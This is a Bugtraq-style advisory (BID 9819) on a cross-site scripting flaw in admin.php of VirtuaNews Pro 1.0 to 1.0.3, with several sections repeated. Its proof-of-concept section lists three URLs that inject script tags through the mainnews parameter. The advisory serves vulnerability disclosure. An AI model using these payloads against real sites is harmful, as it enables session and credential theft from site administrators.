VirtuaSystems VirtuaNews Admin.PHP Cross-Site Scripting Vulnerability
BID:9819
Info
VirtuaSystems VirtuaNews Admin.PHP Cross-Site Scripting Vulnerability
| Bugtraq ID: | 9819 |
| Class: | Unknown |
| CVE: |
CVE-2004-0358 CVE-2002-0867 |
| Remote: | Yes |
| Local: | No |
| Published: | Mar 08 2004 12:00AM |
| Updated: | Jul 12 2009 03:06AM |
| Credit: | Disclosure of this issue is credited to "Ravish" <[email protected]>. |
| Vulnerable: |
VirtuaSystems VirtuaNews Pro 1.0.3 VirtuaSystems VirtuaNews Pro 1.0.2 VirtuaSystems VirtuaNews Pro 1.0.1 VirtuaSystems VirtuaNews Pro 1.0 |
| Not Vulnerable: | |
Discussion
VirtuaSystems VirtuaNews Admin.PHP Cross-Site Scripting Vulnerability
It has been reported that the VirtuaNews 'admin.php' script is prone to a cross-site scripting vulnerability. These problems surround the application's failure to properly validate user supplied URI input. When exploited an attacker can execute arbitrary script and HTML code within the context of the vulnerable application.
The supplied code is rendered in the browser in the context of the affected application. This may allow an attacker to craft a malicious link, facilitating a cross-site scripting attack.
Attackers may exploit this vulnerability to steal authentication credentials. Other attacks may also be possible.
It has been reported that the VirtuaNews 'admin.php' script is prone to a cross-site scripting vulnerability. These problems surround the application's failure to properly validate user supplied URI input. When exploited an attacker can execute arbitrary script and HTML code within the context of the vulnerable application.
The supplied code is rendered in the browser in the context of the affected application. This may allow an attacker to craft a malicious link, facilitating a cross-site scripting attack.
Attackers may exploit this vulnerability to steal authentication credentials. Other attacks may also be possible.
Exploit / POC
VirtuaSystems VirtuaNews Admin.PHP Cross-Site Scripting Vulnerability
No exploit is required to leverage this issue. The following proof of concept has been provided:
http://www.example.com/admin.php?action=news_add&catid=SELECT&title=~~~~~~~~~~~&mainnews=~~~~"></textarea><script>alert('XSS')</script>
http://www.example.com/admin.php?action=news_add&catid=SELECT&title=~~~~~~~~~~~&mainnews=~~~~"></textarea>--><script>alert('XSS')</script>
http://www.example.com/admin.php?">action=news_add&catid=SELECT&title=~~~~~~~~~~~&mainnews=~~~~"></textarea><script>alert('XSS')</script>
No exploit is required to leverage this issue. The following proof of concept has been provided:
http://www.example.com/admin.php?action=news_add&catid=SELECT&title=~~~~~~~~~~~&mainnews=~~~~"></textarea><script>alert('XSS')</script>
http://www.example.com/admin.php?action=news_add&catid=SELECT&title=~~~~~~~~~~~&mainnews=~~~~"></textarea>--><script>alert('XSS')</script>
http://www.example.com/admin.php?">action=news_add&catid=SELECT&title=~~~~~~~~~~~&mainnews=~~~~"></textarea><script>alert('XSS')</script>
Solution / Fix
VirtuaSystems VirtuaNews Admin.PHP Cross-Site Scripting Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
VirtuaSystems VirtuaNews Admin.PHP Cross-Site Scripting Vulnerability
References:
References:
- VirtuaNews Product Page (VirtuaSystems)
- RE: VirtuaNews Admin Panel 1.0.3 Pro Cross Site Scripting Vulnerabillity ("Ravish"